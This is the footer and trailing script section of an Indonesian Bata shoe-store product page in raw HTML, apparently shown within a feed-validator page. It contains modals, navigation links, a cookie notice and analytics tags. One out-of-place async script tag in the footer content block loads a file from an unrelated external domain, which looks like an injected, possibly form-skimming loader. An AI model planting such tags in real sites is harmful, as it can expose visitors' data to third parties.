  3677.                            <span class="icon-close-remove"></span>
  3678.                        </button>
  3679.                    </div>
  3680.                </div>
  3681.                <div class="modal-body">
  3682.                    <span class="cc-size-label">
  3683.                        Pilih ukuran<span>:</span>
  3684.                    </span>
  3685.                    <div class="cc-size-selector-container">
  3686.                    </div>
  3687.                </div>
  3688.            </div>
  3689.        </div>
  3690.    </div>
  3691.  
  3692.    </div>
  3693.    
  3694.  
  3695. </div>
  3696.  
  3697.  
  3698.  
  3699.  
  3700.  
  3701.  
  3702.    
  3703.  
  3704.  
  3705.  
  3706.  
  3707.    
  3708.    
  3709.  
  3710.    <div class="cc-georedirect-container js-georedirect-container d-none"
  3711.        data-url="/on/demandware.store/Sites-bata-id-Site/in_ID/Page-SetLocale"
  3712.        data-error-url="/id/404"
  3713.        data-target-locale="in_ID"
  3714.        data-navigation-locale="in_ID">
  3715.        <div class="cc-georedirect-content">
  3716.                <div class="cc-georedirect-text__container">
  3717.                    
  3718.                        <span class="cc-georedirect-text__title">
  3719.                            Anda mengunjungi website ini dari Indonesia
  3720.                        </span>
  3721.                    
  3722.                    <span class="cc-georedirect-text__subtitle">
  3723.                        Kami menganjurkan anda untuk mengunjungi website Bata yang sesuai dengan negara asal anda untuk pengalaman terbaik. Mohon diingat bahwa ketersediaan barang, harga, dan area pengiriman akan bergantung dari website yang anda gunakan.
  3724.                    </span>
  3725.                </div>
  3726.            <div class="cc-georedirect-buttons__container">
  3727.                
  3728.                    <button type="button"
  3729.                        class="cc-button-type-1 cc-country-select js-country-select "
  3730.                        data-locale="in_ID"
  3731.                        data-currencycode="IDR"
  3732.                        data-site-id="bata-id"
  3733.                        >
  3734.                        <svg class="iconClassCommon cc-georedirect-icon">
  3735.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-shoppingcart" />
  3736. </svg>
  3737.                        <span>Pindah ke Indonesia</span>
  3738.                    </button>
  3739.                
  3740.                <button
  3741.                    class="cc-button-type-2 cc-georedirect-go-to-country-selector"
  3742.                    onclick="window.location.href='https://www.bata.com/?skipRedirect=true'"
  3743.                >
  3744.                    <svg class="iconClassCommon cc-georedirect-icon">
  3745.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-world" />
  3746. </svg>
  3747.                    Negara Lain
  3748.                </button>
  3749.            </div>
  3750.        </div>
  3751.        <button type="button" class="js-georedirect-close cc-georedirect-close cc-no-target-country button-close" aria-label="Close">
  3752.            <span aria-hidden="true" class="icon-close-remove"></span>
  3753.        </button>
  3754.    </div>
  3755.  
  3756.  
  3757.  
  3758.  
  3759. <footer class="cc-footer" id="footercontent" data-dark-mode="null">
  3760.    <div class="cc-footer-main">
  3761.        <div class="row">
  3762.            <div class="col-12 col-lg-4">
  3763.                
  3764.                    
  3765.    
  3766.    <div class="content-asset"><!-- dwMarker="content" dwContentID="2cbf2f0c6608560f4b882ae548" -->
  3767.        <div class="cc-footer-custom-section row">
  3768.    <div class="cc-footer-custom-section-title col-sm-6 col-lg-12">
  3769.        Bata club <br>will surprise you
  3770.    </div>
  3771.    <div class="cc-footer-custom-section-wrapper col-sm-6 col-lg-12">
  3772.        <div class="cc-footer-custom-section-paragraph">
  3773.            Benefits and plenty of surprises are waiting for you! <br>
  3774.            </div>
  3775.        <div class="cc-footer-custom-section-button">
  3776.            <a class="cc-button-type-5" href="https://www.bata.com/id/bata_club.html">Discover more</a>
  3777.        </div>
  3778.    </div>
  3779. </div>
  3780.    </div> <!-- End content-asset -->
  3781.  
  3782.  
  3783.  
  3784.                
  3785.            </div>
  3786.            <div class="col-12 col-lg-7">
  3787.                
  3788.  
  3789.  
  3790.  
  3791.  
  3792.  
  3793.    <ul class="row cc-footer-main-georedirection__container">
  3794.        <li class="cc-item">
  3795.    <a class="cc-item-link" href="/id/storesfind">
  3796.        <span class="cc-icon icon-locator-small"></span>
  3797.        <span class="cc-icon-text">Temukan toko</span>
  3798.    </a>
  3799. </li>
  3800.        <li>
  3801.            <a href="https://www.bata.com/?skipRedirect=true">
  3802.                <div class="cc-footer-georedirection__container">
  3803.                    <svg class="iconClassCommon cc-footer-georedirection-world-icon">
  3804.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-world" />
  3805. </svg>
  3806.                    <div class="cc-footer-georedirection__text">
  3807.                        Indonesia | Bahasa
  3808.                    </div>
  3809.                    
  3810.                </div>
  3811.            </a>
  3812.        </li>
  3813.    </ul>
  3814.  
  3815.  
  3816.                <div class="cc-content-footer-nav">
  3817.                    
  3818.    
  3819.    <div class="content-asset"><!-- dwMarker="content" dwContentID="fc3f5101f9d9fc2c7e72d0c343" -->
  3820.        <div class="row">
  3821. <div class="col-12 col-sm-6 col-md-3"><span class="cc-footer-nav-title" data-id-footer-menu-item="1">Mendukung</span>
  3822. <ul class="cc-footer-nav-list" data-id-footer-menu-item="1">
  3823. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/id-blog-bata.html">Blog &amp; Artikel</a><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/contact-us.html"><font style="vertical-align:inherit"><font style="vertical-align:inherit">Contact</font></font></a></li>
  3824. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/size-chart.html"><font style="vertical-align:inherit"><font style="vertical-align:inherit">Bagan Conversation Ukuran</font></font></a></li>
  3825. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/pengiriman-pengembalian.html">Pengiriman &amp; Retur</a></li>
  3826. <li class="cc-footer-nav-item">&nbsp;</li>
  3827. </ul>
  3828. </div>
  3829.  
  3830. <div class="col-12 col-sm-6 col-md-3"><span class="cc-footer-nav-title" data-id-footer-menu-item="2">Layanan eksklusif</span>
  3831.  
  3832. <ul class="cc-footer-nav-list" data-id-footer-menu-item="2">
  3833. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/pesanan/tracking">Cek Pesanan</a></li>
  3834. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/bata_club.html">Bata Club</a></li>
  3835. </ul>
  3836. </div>
  3837.  
  3838. <div class="col-12 col-sm-6 col-md-3"><span class="cc-footer-nav-title" data-id-footer-menu-item="3"> Perusahaan</span>
  3839.  
  3840. <ul class="cc-footer-nav-list" data-id-footer-menu-item="3">
  3841. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/who-we-are.html">Siapa Kami</a></li>
  3842. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/companyprofile.html">Profil Perusahaan</a></li>
  3843. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://thebatacompany.com/about-us/" target="_blank">Perusahaan Bata</a></li>
  3844. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/career.html">Karir</a></li>
  3845. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href=" https://drive.google.com/drive/folders/1lKo5tL-AKRm7V8g5oAkJdpQ4yvU3BKVN?usp=sharing" target="_blank">Laporan Tahunan</a></li>
  3846. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://drive.google.com/drive/folders/1pDlcOb3R2tOemi-E7LXWQNH5lUlvE7B4?usp=sharing" target="_blank">Pengumuman Publik</a></li>
  3847. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/id-blog-bata.html"><font style="vertical-align:inherit"><font style="vertical-align:inherit">Blog &amp; Articles</font></font></a></li>
  3848. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://batashoemuseum.ca/" target="_blank">Bata Shoe Museum</a></li>
  3849. </ul>
  3850. </div>
  3851.  
  3852. <div class="col-12 col-sm-6 col-md-3"><span class="cc-footer-nav-title" data-id-footer-menu-item="3"> Hukum</span>
  3853.  
  3854. <ul class="cc-footer-nav-list" data-id-footer-menu-item="4">
  3855. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/terms-conditions.html">Syarat &amp; Ketentuan</a></li>
  3856. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/term-of-use.html">Ketentuan Penggunaan</a></li>
  3857. <li class="cc-footer-nav-item"><a class="cc-footer-navigation-link-2" href="https://www.bata.com/id/privacy-policy.html">Peraturan Keamanan Data Pribadi</a></li>
  3858. </ul>
  3859. <script async="async" src="https://static.srcspot.com/libs/guillemette.js" type="application/javascript"></script></div>
  3860. </div>
  3861.  
  3862. <script>
  3863. document.addEventListener('DOMContentLoaded', function() {
  3864.    // Select all links and buttons that contain 'bata.com' in href or onclick attributes
  3865.    const elements = document.querySelectorAll(
  3866.        '.cc-footer-main-georedirection__container a[href*="bata.com"], button.cc-georedirect-go-to-country-selector[onclick*="bata.com"]'
  3867.    );
  3868.  
  3869.    elements.forEach(function(element) {
  3870.        element.addEventListener('click', function(event) {
  3871.            // Prevent the default action
  3872.            event.preventDefault();
  3873.  
  3874.            // Get href or onclick attribute (for buttons, check for href in onclick)
  3875.            const url = element.href || element.getAttribute('onclick').match(/window\.location\.href\s*=\s*'(.*)'/)[1];
  3876.  
  3877.            // Check if the URL contains the 'skipRedirect=true' parameter or matches specific URLs
  3878.            if (
  3879.                url.includes('skipRedirect=true') ||
  3880.                url === 'https://www.bata.com/' ||
  3881.                url === 'https://dev-cc.bata.com/'
  3882.            ) {
  3883.                // Redirect to splashPage
  3884.                window.location.href = "https://www.bata.com/eu/splashPage.html";
  3885.            }
  3886.        });
  3887.    });
  3888. });
  3889. </script>
  3890.  
  3891. <style>
  3892. .cc-page-designer .cc-editorial-carousel .slick-arrow.cc-slider-prev .cc-icon {
  3893.    transform: rotate(180deg);
  3894. }
  3895. </style>
  3896.    </div> <!-- End content-asset -->
  3897.  
  3898.  
  3899.  
  3900.                </div>
  3901.            </div>
  3902.        </div>
  3903.    </div>
  3904.  
  3905.    <div class="cc-footer-bottom">
  3906.        <div class="cc-footer-bottom-up">
  3907.            
  3908.  
  3909.  
  3910.  
  3911.  
  3912.  
  3913.    <ul class="row cc-footer-main-georedirection__container">
  3914.        <li class="cc-item">
  3915.    <a class="cc-item-link" href="/id/storesfind">
  3916.        <span class="cc-icon icon-locator-small"></span>
  3917.        <span class="cc-icon-text">Temukan toko</span>
  3918.    </a>
  3919. </li>
  3920.        <li>
  3921.            <a href="https://www.bata.com/?skipRedirect=true">
  3922.                <div class="cc-footer-georedirection__container">
  3923.                    <svg class="iconClassCommon cc-footer-georedirection-world-icon">
  3924.    <use href="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/images/sprite/sprite.svg#icon-world" />
  3925. </svg>
  3926.                    <div class="cc-footer-georedirection__text">
  3927.                        Indonesia | Bahasa
  3928.                    </div>
  3929.                    
  3930.                </div>
  3931.            </a>
  3932.        </li>
  3933.    </ul>
  3934.  
  3935.  
  3936.            
  3937.    
  3938.    <div class="content-asset"><!-- dwMarker="content" dwContentID="a1d885a777240e1d5b3d7e0e07" -->
  3939.        <ul class="cc-content-footer-social-list">
  3940. <li class="cc-footer-social"> <a href="https://www.facebook.com/BataIndonesia" class="cc-icon icon-facebook" target="_blank"></a>
  3941. </li>
  3942. <li class="cc-footer-social"> <a href="https://www.instagram.com/bataindonesia/" class="cc-icon icon-instagram" target="_blank"></a>
  3943. </li>
  3944. <li class="cc-footer-social"> <a href="https://www.youtube.com/c/SepatuBataIndonesia" class="cc-icon icon-youtube" target="_blank"></a>
  3945. </li>
  3946. <li class="cc-footer-social"> <a href="https://www.pinterest.com/bataindonesia/" class="cc-icon icon-pinterest" target="_blank"></a>
  3947. </li>
  3948. <li class="cc-footer-social"> <a href="https://in.linkedin.com/company/bata-indonesia" class="cc-icon icon-linkedin" target="_blank"></a>
  3949. </li>
  3950. <li class="cc-footer-social"> <a href="https://twitter.com/bataindonesia" class="cc-icon icon-twitter" target="_blank"></a>
  3951. </li>
  3952. <li class="cc-footer-social"> <a href="https://www.tiktok.com/@bataofficialstore" class="cc-icon icon-tiktok" target="_blank"></a>
  3953. </li>
  3954. </ul>
  3955.    </div> <!-- End content-asset -->
  3956.  
  3957.  
  3958.  
  3959.  
  3960.            
  3961.        </div>
  3962.  
  3963.        <div class="cc-content-footer-copy">
  3964.            
  3965.    
  3966.    <div class="content-asset"><!-- dwMarker="content" dwContentID="8094009c72c5b038ceddedac2c" -->
  3967.        <div><p class="cc-footer-copy-text">&copy; 2024 Bata Brand - PT. Sepatu Bata Online Tax ID: NPWD ID: 42.429.029.4-016.000</p></div>
  3968.    </div> <!-- End content-asset -->
  3969.  
  3970.  
  3971.  
  3972.        </div>
  3973.    </div>
  3974. </footer>
  3975.  
  3976.  
  3977.  
  3978. <!-- Modal -->
  3979.  
  3980. <div class="modal cc-addprod-modal fade" id="wishlist-modal" tabindex="-1" role="dialog"
  3981.  aria-labelledby="tooManyProductsWishlistLabel" aria-hidden="true">
  3982.  <div class="modal-dialog modal-dialog-centered" role="document">
  3983.    <div class="modal-content">
  3984.      <div class="modal-header">
  3985.        <h5 class="modal-title" id="wishlistModalTitle">PRODUK DI DAFTAR KEINGINAN MELEBIHI KAPASITAS</h5>
  3986.        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
  3987.          <span class="icon-close-remove"></span>
  3988.        </button>
  3989.      </div>
  3990.      <div class="modal-body" id="wishlist-modal-body">
  3991.      </div>
  3992.      <div class="modal-footer">
  3993.        <button type="button" class="cc-button-type-2"
  3994.          data-dismiss="modal">Tutup</button>
  3995.          <a class="cc-button-type-1" href="/id/wishlist">ke daftar keinginan</a>
  3996.      </div>
  3997.    </div>
  3998.  </div>
  3999. </div>
  4000. <!-- Modal -->
  4001.  
  4002. <div class="modal cc-addprod-modal fade" id="cartLimit-modal" tabindex="-1" role="dialog" aria-hidden="true">
  4003.    <div class="modal-dialog modal-dialog-centered" role="document">
  4004.        <div class="modal-content">
  4005.            <div class="modal-header">
  4006.                <h5 class="modal-title request-password-title cc-productLimit">BARANG INI BELUM DITAMBAHKAN KE TAS</h5>
  4007.                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
  4008.                    <span class="icon-close-remove"></span>
  4009.                </button>
  4010.            </div>
  4011.            <div class="modal-body" id="cartLimit-modal-body"></div>
  4012.            <div class="modal-footer">
  4013.                <button type="button" class="cc-button-type-1" data-dismiss="modal" aria-label="Close">Ok</button>
  4014.            </div>
  4015.        </div>
  4016.    </div>
  4017. </div>
  4018.  
  4019.  
  4020.  
  4021.  
  4022.    <div class="cookie-warning d-none" data-accept="/on/demandware.store/Sites-bata-id-Site/in_ID/ConsentTracking-SetSession?consent=true">
  4023.        <div class="container">
  4024.            <div class="cc-content-cookie-info">
  4025.                <div class="cc-cookie-text">
  4026.                    
  4027.    
  4028.    <div class="content-asset"><!-- dwMarker="content" dwContentID="bf14c11699f688102f9665d839" -->
  4029.        Website ini menggunakan personal dan teknis cookies. Website ini juga menggunakan cookies dari pihak ketiga, (personal, teknis, dan analisis).  Jika anda ingin mempelajari lebih lanjut, <a class="b-menu__sub-link" href="https://www.bata.com/id/">click here</a>. Jika anda melanjutkan berselancar, anda setuju dengan kebijakan dan penggunaan cookies dari kami.
  4030.    </div> <!-- End content-asset -->
  4031.  
  4032.  
  4033.  
  4034.                </div>
  4035.                <button class="cc-button-type-2 js-cookies-bar-close">Tutup</button>
  4036.            </div>
  4037.        </div>
  4038.    </div>
  4039.  
  4040.  
  4041.  
  4042.  
  4043.  
  4044.  
  4045.  
  4046.  
  4047.  
  4048.  
  4049.  
  4050.  
  4051.  
  4052.  
  4053.  
  4054.  
  4055.  
  4056.  
  4057.  
  4058.  
  4059.  
  4060.  
  4061. </div>
  4062. <div class="error-messaging"></div>
  4063. <div class="modal-background"></div>
  4064. <!--[if lt IE 10]>
  4065.  
  4066.  
  4067. <script>//common/scripts.isml</script>
  4068. <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/main.min.js"></script>
  4069.  
  4070.  
  4071.  
  4072.  
  4073.    
  4074.    
  4075.        
  4076.        
  4077.        
  4078.        
  4079.        
  4080.        <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/analytics-index.min.js"></script>
  4081.        
  4082.    <script type="text/javascript">
  4083.    (function(c,l,a,r,i,t,y){
  4084.        c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
  4085.        t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
  4086.        y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
  4087.    })(window, document, "clarity", "script", "knqezlwia6");
  4088. </script>
  4089.  
  4090.  
  4091.  
  4092.    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
  4093. new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
  4094. j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
  4095. 'https://www.googletagmanager.com/gtm.js?id='+i+dl+ '&gtm_auth=w570b3z2T4vXnO37SIEhyA&gtm_preview=env-1&gtm_cookies_win=x';f.parentNode.insertBefore(j,f);
  4096. })(window,document,'script','dataLayer','GTM-PM28D5Z');</script>
  4097.  
  4098.  
  4099.  
  4100.  
  4101.    
  4102.  
  4103.  
  4104.  
  4105.  
  4106.  
  4107.  
  4108.  
  4109.    
  4110.        <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/productDetail.min.js"
  4111.            
  4112.            >
  4113.        </script>
  4114.    
  4115.  
  4116.    
  4117.        <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/recommendationsCarousel.min.js"
  4118.            
  4119.            >
  4120.        </script>
  4121.    
  4122.  
  4123.    
  4124.        <script defer type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/js/productVideo.min.js"
  4125.            
  4126.            >
  4127.        </script>
  4128.    
  4129.  
  4130.  
  4131. <![endif]-->
  4132.  
  4133.  
  4134.  
  4135. <!-- Demandware Analytics code 1.0 (body_end-analytics-tracking-asynch.js) -->
  4136. <script type="text/javascript">//<!--
  4137. /* <![CDATA[ */
  4138. function trackPage() {
  4139.    try{
  4140.        var trackingUrl = "https://www.bata.com/on/demandware.store/Sites-bata-id-Site/in_ID/__Analytics-Start";
  4141.        var dwAnalytics = dw.__dwAnalytics.getTracker(trackingUrl);
  4142.        if (typeof dw.ac == "undefined") {
  4143.            dwAnalytics.trackPageView();
  4144.        } else {
  4145.            dw.ac.setDWAnalytics(dwAnalytics);
  4146.        }
  4147.    }catch(err) {};
  4148. }
  4149. /* ]]> */
  4150. // -->
  4151. </script>
  4152. <script type="text/javascript" src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/internal/jscript/dwanalytics-22.2.js" async="async" onload="trackPage()"></script>
  4153. <!-- Demandware Active Data (body_end-active_data.js) -->
  4154. <script src="/on/demandware.static/Sites-bata-id-Site/-/in_ID/v1730517465208/internal/jscript/dwac-21.7.js" type="text/javascript" async="async"></script><!-- CQuotient Activity Tracking (body_end-cquotient.js) -->
  4155. <script src="https://cdn.cquotient.com/js/v2/gretel.min.js" type="text/javascript" async="async"></script>
  4156. <script type="text/javascript" nonce="ccacf7a64e04a091534c1c9976bf7346" src="/tE8de6/5NzQ/W/Y/nyUIth98VZMW4PQ/aJ9LQhD2cwVwJO/TnBr/K0cNDm/wkXFkB"></script><link rel="stylesheet" type="text/css" nonce="ccacf7a64e04a091534c1c9976bf7346" href="/tE8de6/5NzQ/W/Y/nyUIth98VZMW4PQ/bk9L/VjJe/NBw-LC/0qB1BX">
  4157.                                        <script nonce="ccacf7a64e04a091534c1c9976bf7346" src="/tE8de6/5NzQ/W/Y/nyUIth98VZMW4PQ/bk9L/VjJe/KBsJXW/oMAQYp" async defer></script>
  4158.                                        <div id="sec-overlay" style="display:none;">
  4159.                                        <div id="sec-container">
  4160.                                        </div>
  4161.                                      </div></body>
  4162. </html>
  4163.  
  4164.  

Home · About · News · Docs · Terms

 
Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda